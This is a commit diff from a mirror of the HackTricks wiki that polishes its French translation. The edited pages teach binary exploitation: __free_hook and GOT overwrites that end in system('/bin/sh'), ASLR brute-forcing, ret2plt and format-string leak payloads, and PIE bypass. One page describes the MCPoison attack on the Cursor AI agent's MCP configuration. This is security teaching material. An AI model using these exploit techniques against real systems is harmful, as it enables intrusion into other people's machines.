mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-kerberos-88/READ
This commit is contained in:
parent
4545a9b42a
commit
026849bf94
@ -31,7 +31,7 @@ return a + b
|
||||
if __name__ == "__main__":
|
||||
mcp.run(transport="stdio") # Run server (using stdio transport for CLI testing)`
|
||||
```
|
||||
Cela définit un serveur nommé "Calculator Server" avec un outil `add`. Nous avons décoré la fonction avec `@mcp.tool()` pour l'enregistrer en tant qu'outil appelable pour les LLM connectés. Pour exécuter le serveur, lancez-le dans un terminal : `python3 calculator.py`
|
||||
Cela définit un serveur nommé "Calculator Server" avec un outil `add`. Nous avons décoré la fonction avec `@mcp.tool()` pour l'enregistrer en tant qu'outil appelable pour les LLMs connectés. Pour exécuter le serveur, lancez-le dans un terminal : `python3 calculator.py`
|
||||
|
||||
Le serveur démarrera et écoutera les requêtes MCP (utilisant l'entrée/sortie standard ici pour la simplicité). Dans une configuration réelle, vous connecteriez un agent AI ou un client MCP à ce serveur. Par exemple, en utilisant le CLI développeur MCP, vous pouvez lancer un inspecteur pour tester l'outil :
|
||||
```bash
|
||||
@ -104,7 +104,7 @@ Ce défaut logique (CVE-2025-54136, également connu sous le nom de **MCPoison**
|
||||
|
||||
#### Flux de travail vulnérable
|
||||
|
||||
1. L'attaquant commet un `.cursor/rules/mcp.json` inoffensif et ouvre une Pull-Request.
|
||||
1. L'attaquant commet un fichier `.cursor/rules/mcp.json` inoffensif et ouvre une Pull-Request.
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
|
@ -92,7 +92,7 @@ Vous devriez commencer par lire ce post pour quelques concepts de base que vous
|
||||
## 7.1. Fine-Tuning for Classification
|
||||
|
||||
> [!TIP]
|
||||
> L'objectif de cette section est de montrer comment affiner un modèle déjà pré-entraîné afin qu'au lieu de générer un nouveau texte, le LLM donnera les **probabilités que le texte donné soit catégorisé dans chacune des catégories données** (comme si un texte est du spam ou non).
|
||||
> L'objectif de cette section est de montrer comment affiner un modèle déjà pré-entraîné afin qu'au lieu de générer un nouveau texte, le LLM donnera les **probabilités que le texte donné soit catégorisé dans chacune des catégories données** (comme si un texte est un spam ou non).
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -102,7 +102,7 @@ Vous devriez commencer par lire ce post pour quelques concepts de base que vous
|
||||
## 7.2. Fine-Tuning to follow instructions
|
||||
|
||||
> [!TIP]
|
||||
> L'objectif de cette section est de montrer comment **affiner un modèle déjà pré-entraîné pour suivre des instructions** plutôt que de simplement générer du texte, par exemple, répondre à des tâches comme un chatbot.
|
||||
> L'objectif de cette section est de montrer comment **affiner un modèle déjà pré-entraîné pour suivre des instructions** plutôt que de simplement générer du texte, par exemple, répondre à des tâches en tant que chatbot.
|
||||
|
||||
|
||||
{{#ref}}
|
||||
|
@ -1,8 +1,8 @@
|
||||
# IA en Cybersécurité
|
||||
# IA en cybersécurité
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Principaux Algorithmes d'Apprentissage Automatique
|
||||
## Principaux algorithmes d'apprentissage automatique
|
||||
|
||||
Le meilleur point de départ pour apprendre sur l'IA est de comprendre comment fonctionnent les principaux algorithmes d'apprentissage automatique. Cela vous aidera à comprendre comment l'IA fonctionne, comment l'utiliser et comment l'attaquer :
|
||||
|
||||
@ -32,7 +32,7 @@ AI-llm-architecture/README.md
|
||||
|
||||
## Sécurité de l'IA
|
||||
|
||||
### Cadres de Risque de l'IA
|
||||
### Cadres de risque de l'IA
|
||||
|
||||
À ce moment, les 2 principaux cadres pour évaluer les risques des systèmes d'IA sont l'OWASP ML Top 10 et le Google SAIF :
|
||||
|
||||
@ -40,7 +40,7 @@ AI-llm-architecture/README.md
|
||||
AI-Risk-Frameworks.md
|
||||
{{#endref}}
|
||||
|
||||
### Sécurité des Prompts d'IA
|
||||
### Sécurité des prompts d'IA
|
||||
|
||||
Les LLMs ont fait exploser l'utilisation de l'IA ces dernières années, mais ils ne sont pas parfaits et peuvent être trompés par des prompts adverses. C'est un sujet très important pour comprendre comment utiliser l'IA en toute sécurité et comment l'attaquer :
|
||||
|
||||
@ -48,7 +48,7 @@ Les LLMs ont fait exploser l'utilisation de l'IA ces dernières années, mais il
|
||||
AI-Prompts.md
|
||||
{{#endref}}
|
||||
|
||||
### RCE des Modèles d'IA
|
||||
### RCE des modèles d'IA
|
||||
|
||||
Il est très courant pour les développeurs et les entreprises d'exécuter des modèles téléchargés depuis Internet, cependant, le simple chargement d'un modèle peut suffire à exécuter du code arbitraire sur le système. C'est un sujet très important pour comprendre comment utiliser l'IA en toute sécurité et comment l'attaquer :
|
||||
|
||||
@ -56,15 +56,15 @@ Il est très courant pour les développeurs et les entreprises d'exécuter des m
|
||||
AI-Models-RCE.md
|
||||
{{#endref}}
|
||||
|
||||
### Protocole de Contexte des Modèles d'IA
|
||||
### Protocole de contexte des modèles d'IA
|
||||
|
||||
MCP (Model Context Protocol) est un protocole qui permet aux clients agents d'IA de se connecter à des outils externes et à des sources de données de manière plug-and-play. Cela permet des flux de travail complexes et des interactions entre les modèles d'IA et les systèmes externes :
|
||||
Le MCP (Model Context Protocol) est un protocole qui permet aux clients agents d'IA de se connecter à des outils externes et à des sources de données de manière plug-and-play. Cela permet des flux de travail complexes et des interactions entre les modèles d'IA et les systèmes externes :
|
||||
|
||||
{{#ref}}
|
||||
AI-MCP-Servers.md
|
||||
{{#endref}}
|
||||
|
||||
### Fuzzing Assisté par IA & Découverte Automatisée de Vulnérabilités
|
||||
### Fuzzing assisté par IA et découverte automatisée de vulnérabilités
|
||||
|
||||
{{#ref}}
|
||||
AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
Comme vous pouvez le voir sur [le site officiel de GNU](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), la variable **`__malloc_hook`** est un pointeur pointant vers **l'adresse d'une fonction qui sera appelée** chaque fois que `malloc()` est appelée **stockée dans la section de données de la bibliothèque libc**. Par conséquent, si cette adresse est écrasée avec un **One Gadget** par exemple et que `malloc` est appelé, le **One Gadget sera appelé**.
|
||||
|
||||
Pour appeler malloc, il est possible d'attendre que le programme l'appelle ou en **appelant `printf("%10000$c")** qui alloue trop de bytes, ce qui fait que `libc` appelle malloc pour les allouer dans le tas.
|
||||
Pour appeler malloc, il est possible d'attendre que le programme l'appelle ou en **appelant `printf("%10000$c")`** qui alloue trop d'octets, ce qui fait que `libc` appelle malloc pour les allouer dans le tas.
|
||||
|
||||
Plus d'infos sur One Gadget dans :
|
||||
|
||||
@ -57,7 +57,7 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Si nous parvenons à obtenir un chunk rapide de taille 0x200 à cet emplacement, il sera possible d'écraser un pointeur de fonction qui sera exécuté.
|
||||
- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette manière nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.
|
||||
- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.
|
||||
- Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse **`fd`** de ce fast bin afin de pointer vers la fonction **`__free_hook`** précédente.
|
||||
- Ensuite, un chunk de taille `0x1f8` est créé pour récupérer du fast bin le chunk inutile précédent, donc un autre chunk de taille `0x1f8` est créé pour obtenir un chunk fast bin dans le **`__free_hook`** qui est écrasé avec l'adresse de la fonction **`system`**.
|
||||
- Et enfin, un chunk contenant la chaîne `/bin/sh\x00` est libéré en appelant la fonction de suppression, déclenchant la fonction **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre.
|
||||
@ -111,7 +111,7 @@ bin_sh = malloc(0x48)
|
||||
edit(bin_sh, b"/bin/sh\x00")
|
||||
free(bin_sh)
|
||||
```
|
||||
Le extrait ci-dessus a été adapté des récents défis CTF tels que *UIUCTF 2024 – «Rusty Pointers»* et *openECSC 2023 – «Babyheap G»*, qui reposaient tous deux sur des contournements Safe-Linking pour écraser `__free_hook`.
|
||||
Le extrait ci-dessus a été adapté des récents défis CTF tels que *UIUCTF 2024 – «Rusty Pointers»* et *openECSC 2023 – «Babyheap G»*, qui reposaient tous deux sur des contournements de Safe-Linking pour écraser `__free_hook`.
|
||||
|
||||
---
|
||||
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## **Informations de base**
|
||||
|
||||
### **GOT : Table d'offset globale**
|
||||
### **GOT : Table d'offset global**
|
||||
|
||||
La **Table d'offset globale (GOT)** est un mécanisme utilisé dans les binaires liés dynamiquement pour gérer les **adresses des fonctions externes**. Étant donné que ces **adresses ne sont pas connues avant l'exécution** (en raison du lien dynamique), la GOT fournit un moyen de **mettre à jour dynamiquement les adresses de ces symboles externes** une fois qu'elles sont résolues.
|
||||
La **Table d'offset global (GOT)** est un mécanisme utilisé dans les binaires liés dynamiquement pour gérer les **adresses des fonctions externes**. Étant donné que ces **adresses ne sont pas connues avant l'exécution** (en raison du lien dynamique), la GOT fournit un moyen de **mettre à jour dynamiquement les adresses de ces symboles externes** une fois qu'elles sont résolues.
|
||||
|
||||
Chaque entrée dans la GOT correspond à un symbole dans les bibliothèques externes que le binaire peut appeler. Lorsqu'une **fonction est appelée pour la première fois, son adresse réelle est résolue par le lieur dynamique et stockée dans la GOT**. Les appels suivants à la même fonction utilisent l'adresse stockée dans la GOT, évitant ainsi le surcoût de la résolution de l'adresse à nouveau.
|
||||
|
||||
@ -26,7 +26,7 @@ Obtenez l'adresse de la table GOT avec : **`objdump -s -j .got ./exec`**
|
||||
|
||||
Observez comment après **le chargement** de l'**exécutable** dans GEF, vous pouvez **voir** les **fonctions** qui se trouvent dans la **GOT** : `gef➤ x/20x 0xADDR_GOT`
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
|
||||
|
||||
En utilisant GEF, vous pouvez **démarrer** une session de **débogage** et exécuter **`got`** pour voir la table got :
|
||||
|
||||
@ -67,7 +67,7 @@ De plus, si `puts` est utilisé avec une entrée utilisateur, il est possible d'
|
||||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||||
{{#endref}}
|
||||
|
||||
## **Abuser de la GOT depuis le tas**
|
||||
## **Abus de la GOT depuis le tas**
|
||||
|
||||
Une façon courante d'obtenir RCE à partir d'une vulnérabilité de tas est d'abuser d'un fastbin afin qu'il soit possible d'ajouter la partie de la table GOT dans le fast bin, de sorte que chaque fois que ce chunk est alloué, il sera possible de **remplacer le pointeur d'une fonction, généralement `free`**.\
|
||||
Ensuite, en pointant `free` vers `system` et en libérant un chunk où était écrit `/bin/sh\x00`, cela exécutera un shell.
|
||||
|
@ -44,7 +44,7 @@ Un point à prendre en compte est que généralement **une seule exploitation d'
|
||||
|
||||
- Écrire dans une chaîne **ROP** l'adresse de la **fonction `main`** ou l'adresse où la **vulnérabilité** se produit.
|
||||
- En contrôlant une chaîne ROP appropriée, vous pourriez être en mesure d'effectuer toutes les actions dans cette chaîne.
|
||||
- Écrire à l'adresse **`exit` dans GOT** (ou toute autre fonction utilisée par le binaire avant de se terminer) l'adresse pour **revenir à la vulnérabilité**.
|
||||
- Écrire à l'adresse **`exit` dans le GOT** (ou toute autre fonction utilisée par le binaire avant de se terminer) l'adresse pour **revenir à la vulnérabilité**.
|
||||
- Comme expliqué dans [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** stocker 2 fonctions ici, une pour rappeler la vulnérabilité et une autre pour appeler **`__libc_csu_fini`** qui rappellera à nouveau la fonction de `.fini_array`.
|
||||
|
||||
## Objectifs d'Exploitation
|
||||
@ -88,7 +88,7 @@ Un point à prendre en compte est que généralement **une seule exploitation d'
|
||||
- Si **compilé statiquement et sans** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html), l'**adresse** de `system` et `/bin/sh` ne changera pas, donc il est possible de les utiliser statiquement.
|
||||
- **Sans** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **et en connaissant la version de libc** chargée, l'**adresse** de `system` et `/bin/sh` ne changera pas, donc il est possible de les utiliser statiquement.
|
||||
- Avec [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **mais sans** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html)**, en connaissant la libc et avec le binaire utilisant la fonction `system`**, il est possible de **`ret` à l'adresse de system dans le GOT** avec l'adresse de `'/bin/sh'` dans le paramètre (vous devrez le découvrir).
|
||||
- Avec [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) mais sans [PIE](../common-binary-protections-and-bypasses/pie/index.html), en connaissant la libc et **sans que le binaire utilise la `system`** :
|
||||
- Avec [ASLR](../common-binary-protections-and-bypasses/aslr/index.html) mais sans [PIE](../common-binary-protections-and-bypasses/pie/index.html), en connaissant la libc et **sans que le binaire utilise la fonction `system`** :
|
||||
- Utilisez [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) pour résoudre l'adresse de `system` et l'appeler.
|
||||
- **Contourner** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) et calculer l'adresse de `system` et `'/bin/sh'` en mémoire.
|
||||
- **Avec** [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) **et** [**PIE**](../common-binary-protections-and-bypasses/pie/index.html) **et sans connaître la libc** : Vous devez :
|
||||
|
@ -37,7 +37,7 @@ Segment Sections...
|
||||
07
|
||||
08 .init_array .fini_array .dynamic .got
|
||||
```
|
||||
Le programme précédent a **9 en-têtes de programme**, ensuite, le **mappage de segment** indique dans quel en-tête de programme (de 00 à 08) **chaque section est située**.
|
||||
Le programme précédent a **9 en-têtes de programme**, ensuite, le **mappage des segments** indique dans quel en-tête de programme (de 00 à 08) **chaque section est située**.
|
||||
|
||||
### PHDR - En-tête de Programme
|
||||
|
||||
@ -62,7 +62,7 @@ Cet en-tête aide à lier les programmes à leurs dépendances de bibliothèque
|
||||
|
||||
### NOTE
|
||||
|
||||
Cela stocke des informations sur les métadonnées du fournisseur concernant le binaire.
|
||||
Cela stocke des informations de métadonnées sur le binaire.
|
||||
|
||||
- Sur x86-64, `readelf -n` affichera les drapeaux `GNU_PROPERTY_X86_FEATURE_1_*` à l'intérieur de `.note.gnu.property`. Si vous voyez `IBT` et/ou `SHSTK`, le binaire a été construit avec CET (Suivi de Branche Indirecte et/ou Pile d'Ombre). Cela impacte ROP/JOP car les cibles de branchement indirect doivent commencer par une instruction `ENDBR64` et les retours sont vérifiés par rapport à une pile d'ombre. Voir la page CET pour des détails et des notes de contournement.
|
||||
|
||||
@ -78,7 +78,7 @@ Définit l'emplacement des tables de déroulement de pile, utilisées par les d
|
||||
|
||||
Contient la configuration de la défense contre l'exécution de la pile. Si activé, le binaire ne pourra pas exécuter de code depuis la pile.
|
||||
|
||||
- Vérifiez avec `readelf -l ./bin | grep GNU_STACK`. Pour forcer le basculement pendant les tests, vous pouvez utiliser `execstack -s|-c ./bin`.
|
||||
- Vérifiez avec `readelf -l ./bin | grep GNU_STACK`. Pour forcer le changement pendant les tests, vous pouvez utiliser `execstack -s|-c ./bin`.
|
||||
|
||||
### GNU_RELRO
|
||||
|
||||
@ -206,11 +206,11 @@ Chaque entrée de symbole contient :
|
||||
- **Nom**
|
||||
- **Attributs de liaison** (faible, local ou global) : Un symbole local ne peut être accédé que par le programme lui-même, tandis que les symboles globaux sont partagés en dehors du programme. Un objet faible est par exemple une fonction qui peut être remplacée par une autre.
|
||||
- **Type** : NOTYPE (aucun type spécifié), OBJECT (variable de données globale), FUNC (fonction), SECTION (section), FILE (fichier source pour les débogueurs), TLS (variable locale au thread), GNU_IFUNC (fonction indirecte pour la relocation)
|
||||
- **Index de section** où il est situé
|
||||
- **Section** index où il est situé
|
||||
- **Valeur** (adresse en mémoire)
|
||||
- **Taille**
|
||||
|
||||
#### Versionnage des symboles GNU (dynsym/dynstr/gnu.version)
|
||||
#### Versionnement des symboles GNU (dynsym/dynstr/gnu.version)
|
||||
|
||||
La glibc moderne utilise des versions de symboles. Vous verrez des entrées dans `.gnu.version` et `.gnu.version_r` et des noms de symboles comme `strlen@GLIBC_2.17`. Le chargeur dynamique peut exiger une version spécifique lors de la résolution d'un symbole. Lors de la création de relocations manuelles (par exemple, ret2dlresolve), vous devez fournir l'index de version correct, sinon la résolution échoue.
|
||||
|
||||
@ -366,7 +366,7 @@ Ainsi, lorsqu'un programme appelle malloc, il appelle en réalité l'emplacement
|
||||
../common-binary-protections-and-bypasses/relro.md
|
||||
{{#endref}}
|
||||
|
||||
- -fno-plt fait que le compilateur appelle des fonctions externes via l'**entrée GOT directement** au lieu de passer par le stub PLT. Vous verrez des séquences d'appels comme mov reg, [got]; call reg au lieu de call func@plt. Cela réduit l'abus d'exécution spéculative et modifie légèrement la chasse aux gadgets ROP autour des stubs PLT.
|
||||
- -fno-plt fait que le compilateur appelle des fonctions externes via l'**entrée GOT directement** au lieu de passer par le stub PLT. Vous verrez des séquences d'appels comme mov reg, [got]; call reg au lieu de call func@plt. Cela réduit l'abus d'exécution spéculative et modifie légèrement la recherche de gadgets ROP autour des stubs PLT.
|
||||
|
||||
- PIE vs static-PIE : PIE (ET_DYN avec INTERP) nécessite le chargeur dynamique et prend en charge la machinerie PLT/GOT habituelle. Static-PIE (ET_DYN sans INTERP) a des relocalisations appliquées par le chargeur du noyau et pas de ld.so ; attendez-vous à aucune résolution PLT à l'exécution.
|
||||
|
||||
@ -414,7 +414,7 @@ De plus, il est également possible d'avoir un **`PREINIT_ARRAY`** avec des **po
|
||||
|
||||
#### Remarque sur l'exploitation
|
||||
|
||||
- Sous Partial RELRO, ces tableaux vivent dans des pages qui sont encore modifiables avant que `ld.so` ne change `PT_GNU_RELRO` en lecture seule. Si vous obtenez une écriture arbitraire suffisamment tôt ou si vous pouvez cibler des tableaux modifiables d'une bibliothèque, vous pouvez détourner le flux de contrôle en écrasant une entrée avec une fonction de votre choix. Sous Full RELRO, ils sont en lecture seule à l'exécution.
|
||||
- Sous Partial RELRO, ces tableaux vivent dans des pages qui sont encore modifiables avant que `ld.so` ne change `PT_GNU_RELRO` en lecture seule. Si vous obtenez une écriture arbitraire suffisamment tôt ou si vous pouvez cibler les tableaux modifiables d'une bibliothèque, vous pouvez détourner le flux de contrôle en écrasant une entrée avec une fonction de votre choix. Sous Full RELRO, ils sont en lecture seule à l'exécution.
|
||||
|
||||
- Pour l'abus de liaison paresseuse du chargeur dynamique pour résoudre des symboles arbitraires à l'exécution, voir la page dédiée :
|
||||
|
||||
@ -425,11 +425,11 @@ De plus, il est également possible d'avoir un **`PREINIT_ARRAY`** avec des **po
|
||||
### Ordre d'initialisation
|
||||
|
||||
1. Le programme est chargé en mémoire, les variables globales statiques sont initialisées dans **`.data`** et celles non initialisées sont mises à zéro dans **`.bss`**.
|
||||
2. Toutes les **dépendances** pour le programme ou les bibliothèques sont **initialisées** et le **lien dynamique** est exécuté.
|
||||
2. Toutes les **dépendances** pour le programme ou les bibliothèques sont **initialisées** et la **liaison dynamique** est exécutée.
|
||||
3. Les fonctions **`PREINIT_ARRAY`** sont exécutées.
|
||||
4. Les fonctions **`INIT_ARRAY`** sont exécutées.
|
||||
5. S'il y a une entrée **`INIT`**, elle est appelée.
|
||||
6. S'il s'agit d'une bibliothèque, dlopen se termine ici, s'il s'agit d'un programme, il est temps d'appeler le **vrai point d'entrée** (fonction `main`).
|
||||
6. Si c'est une bibliothèque, dlopen se termine ici, si c'est un programme, il est temps d'appeler le **vrai point d'entrée** (fonction `main`).
|
||||
|
||||
## Stockage local par thread (TLS)
|
||||
|
||||
@ -439,7 +439,7 @@ Chaque thread maintiendra un emplacement unique pour cette variable, donc seul l
|
||||
|
||||
Lorsque cela est utilisé, les sections **`.tdata`** et **`.tbss`** sont utilisées dans l'ELF. Qui sont comme `.data` (initialisé) et `.bss` (non initialisé) mais pour TLS.
|
||||
|
||||
Chaque variable aura une entrée dans l'en-tête TLS spécifiant la taille et l'offset TLS, qui est l'offset qu'elle utilisera dans la zone de données locale du thread.
|
||||
Chaque variable aura une entrée dans l'en-tête TLS spécifiant la taille et le décalage TLS, qui est le décalage qu'elle utilisera dans la zone de données locales du thread.
|
||||
|
||||
Le `__TLS_MODULE_BASE` est un symbole utilisé pour faire référence à l'adresse de base du stockage local par thread et pointe vers la zone en mémoire qui contient toutes les données locales au thread d'un module.
|
||||
|
||||
@ -448,7 +448,7 @@ Le `__TLS_MODULE_BASE` est un symbole utilisé pour faire référence à l'adres
|
||||
Le noyau Linux passe un vecteur auxiliaire aux processus contenant des adresses et des drapeaux utiles pour l'exécution :
|
||||
|
||||
- `AT_RANDOM` : pointe vers 16 octets aléatoires utilisés par glibc pour le canari de pile et d'autres graines PRNG.
|
||||
- `AT_SYSINFO_EHDR` : adresse de base du mappage vDSO (pratique pour trouver les appels système et gadgets `__kernel_*`).
|
||||
- `AT_SYSINFO_EHDR` : adresse de base du mappage vDSO (pratique pour trouver les appels système `__kernel_*` et les gadgets).
|
||||
- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, etc.
|
||||
|
||||
En tant qu'attaquant, si vous pouvez lire la mémoire ou des fichiers sous `/proc`, vous pouvez souvent les divulguer sans une fuite d'informations dans le processus cible :
|
||||
|
@ -56,7 +56,7 @@ Cela garantira que vos paramètres ASLR restent inchangés après les redémarra
|
||||
PaX divise l'espace d'adresses du processus en **3 groupes** :
|
||||
|
||||
- **Code et données** (initialisées et non initialisées) : `.text`, `.data`, et `.bss` —> **16 bits** d'entropie dans la variable `delta_exec`. Cette variable est initialisée aléatoirement avec chaque processus et ajoutée aux adresses initiales.
|
||||
- **Mémoire** allouée par `mmap()` et **bibliothèques partagées** —> **16 bits**, nommée `delta_mmap`.
|
||||
- **Mémoire** allouée par `mmap()` et **bibliothèques partagées** —> **16 bits**, nommés `delta_mmap`.
|
||||
- **La pile** —> **24 bits**, appelée `delta_stack`. Cependant, elle utilise effectivement **11 bits** (du 10ème au 20ème octet inclus), alignés sur **16 octets** —> Cela donne **524,288 adresses de pile réelles possibles**.
|
||||
|
||||
Les données précédentes concernent les systèmes 32 bits et l'entropie finale réduite permet de contourner l'ASLR en réessayant l'exécution encore et encore jusqu'à ce que l'exploit réussisse.
|
||||
@ -64,12 +64,12 @@ Les données précédentes concernent les systèmes 32 bits et l'entropie finale
|
||||
#### Idées de force brute :
|
||||
|
||||
- Si vous avez un débordement suffisamment grand pour accueillir un **grand NOP sled avant le shellcode**, vous pourriez simplement forcer les adresses dans la pile jusqu'à ce que le flux **saute par-dessus une partie du NOP sled**.
|
||||
- Une autre option dans ce cas où le débordement n'est pas si grand et que l'exploit peut être exécuté localement est de **ajouter le NOP sled et le shellcode dans une variable d'environnement**.
|
||||
- Une autre option dans ce cas, si le débordement n'est pas si grand et que l'exploit peut être exécuté localement, est de **ajouter le NOP sled et le shellcode dans une variable d'environnement**.
|
||||
- Si l'exploit est local, vous pouvez essayer de forcer l'adresse de base de libc (utile pour les systèmes 32 bits) :
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
- Si vous attaquez un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `usleep` de `libc`**, en passant comme argument 10 (par exemple). Si à un moment donné le **serveur met 10s de plus à répondre**, vous avez trouvé l'adresse de cette fonction.
|
||||
- Si vous attaquez un serveur distant, vous pourriez essayer de **forcer l'adresse de la fonction `libc` `usleep`**, en passant comme argument 10 (par exemple). Si à un moment donné le **serveur met 10s de plus à répondre**, vous avez trouvé l'adresse de cette fonction.
|
||||
|
||||
> [!TIP]
|
||||
> Dans les systèmes 64 bits, l'entropie est beaucoup plus élevée et cela ne devrait pas être possible.
|
||||
@ -77,7 +77,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
### Bruteforce de la pile 64 bits
|
||||
|
||||
Il est possible d'occuper une grande partie de la pile avec des variables d'environnement et ensuite essayer d'abuser du binaire des centaines/milliers de fois localement pour l'exploiter.\
|
||||
Le code suivant montre comment il est possible de **simplement sélectionner une adresse dans la pile** et chaque **quelques centaines d'exécutions**, cette adresse contiendra l'**instruction NOP** :
|
||||
Le code suivant montre comment il est possible de **juste sélectionner une adresse dans la pile** et chaque **quelques centaines d'exécutions**, cette adresse contiendra l'**instruction NOP** :
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
#include <stdio.h>
|
||||
@ -147,7 +147,7 @@ pass
|
||||
|
||||
Le fichier **`/proc/[pid]/stat`** d'un processus est toujours lisible par tout le monde et il **contient des informations intéressantes** telles que :
|
||||
|
||||
- **startcode** & **endcode** : Adresses au-dessus et en dessous du **TEXT** du binaire
|
||||
- **startcode** & **endcode** : Adresses au-dessus et en dessous avec le **TEXT** du binaire
|
||||
- **startstack** : L'adresse du début de la **pile**
|
||||
- **start_data** & **end_data** : Adresses au-dessus et en dessous où se trouve le **BSS**
|
||||
- **kstkesp** & **kstkeip** : Adresses actuelles de **ESP** et **EIP**
|
||||
@ -157,7 +157,7 @@ Le fichier **`/proc/[pid]/stat`** d'un processus est toujours lisible par tout l
|
||||
Par conséquent, si l'attaquant est sur le même ordinateur que le binaire exploité et que ce binaire ne s'attend pas à un débordement provenant d'arguments bruts, mais d'une **entrée qui peut être façonnée après avoir lu ce fichier**. Il est possible pour un attaquant de **récupérer certaines adresses de ce fichier et de construire des décalages à partir de celles-ci pour l'exploitation**.
|
||||
|
||||
> [!TIP]
|
||||
> Pour plus d'infos sur ce fichier, consultez [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en recherchant `/proc/pid/stat`
|
||||
> Pour plus d'informations sur ce fichier, consultez [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en recherchant `/proc/pid/stat`
|
||||
|
||||
### Avoir une fuite
|
||||
|
||||
@ -192,6 +192,7 @@ p.interactive()
|
||||
|
||||
En abusant d'un débordement de tampon, il serait possible d'exploiter un **ret2plt** pour exfiltrer une adresse d'une fonction de la libc. Vérifiez :
|
||||
|
||||
|
||||
{{#ref}}
|
||||
ret2plt.md
|
||||
{{#endref}}
|
||||
@ -209,7 +210,7 @@ payload += b'%3$s' # The third parameter points at the start of the
|
||||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
Vous pouvez trouver plus d'infos sur les lectures arbitraires de Format Strings dans :
|
||||
Vous pouvez trouver plus d'infos sur la lecture arbitraire des chaînes de format dans :
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
|
@ -6,10 +6,10 @@
|
||||
|
||||
Un binaire compilé en tant que PIE, ou **Position Independent Executable**, signifie que le **programme peut se charger à différents emplacements mémoire** chaque fois qu'il est exécuté, empêchant les adresses codées en dur.
|
||||
|
||||
Le truc pour exploiter ces binaires réside dans l'exploitation des **adresses relatives**—les décalages entre les parties du programme restent les mêmes même si les emplacements absolus changent. Pour **contourner PIE, vous n'avez besoin de divulguer qu'une adresse**, généralement depuis la **pile** en utilisant des vulnérabilités comme les attaques par chaîne de format. Une fois que vous avez une adresse, vous pouvez calculer d'autres par leurs **décalages fixes**.
|
||||
Le truc pour exploiter ces binaires réside dans l'exploitation des **adresses relatives**—les décalages entre les parties du programme restent les mêmes même si les emplacements absolus changent. Pour **contourner PIE, vous devez seulement divulguer une adresse**, généralement depuis la **pile** en utilisant des vulnérabilités comme les attaques par chaîne de format. Une fois que vous avez une adresse, vous pouvez calculer d'autres par leurs **décalages fixes**.
|
||||
|
||||
Un indice utile pour exploiter les binaires PIE est que leur **adresse de base se termine généralement par 000** en raison des pages mémoire étant les unités de randomisation, de taille 0x1000 octets. Cet alignement peut être un **vérification critique si une exploitation ne fonctionne pas** comme prévu, indiquant si la bonne adresse de base a été identifiée.\
|
||||
Ou vous pouvez utiliser cela pour votre exploitation, si vous divulguez qu'une adresse est située à **`0x649e1024`** vous savez que l'**adresse de base est `0x649e1000`** et à partir de là vous pouvez simplement **calculer les décalages** des fonctions et des emplacements.
|
||||
Ou vous pouvez utiliser cela pour votre exploitation, si vous divulguez qu'une adresse est située à **`0x649e1024`**, vous savez que l'**adresse de base est `0x649e1000`** et à partir de là, vous pouvez simplement **calculer les décalages** des fonctions et des emplacements.
|
||||
|
||||
## Contournements
|
||||
|
||||
@ -23,7 +23,7 @@ Pour contourner PIE, il est nécessaire de **divulguer une adresse du binaire ch
|
||||
bypassing-canary-and-pie.md
|
||||
{{#endref}}
|
||||
|
||||
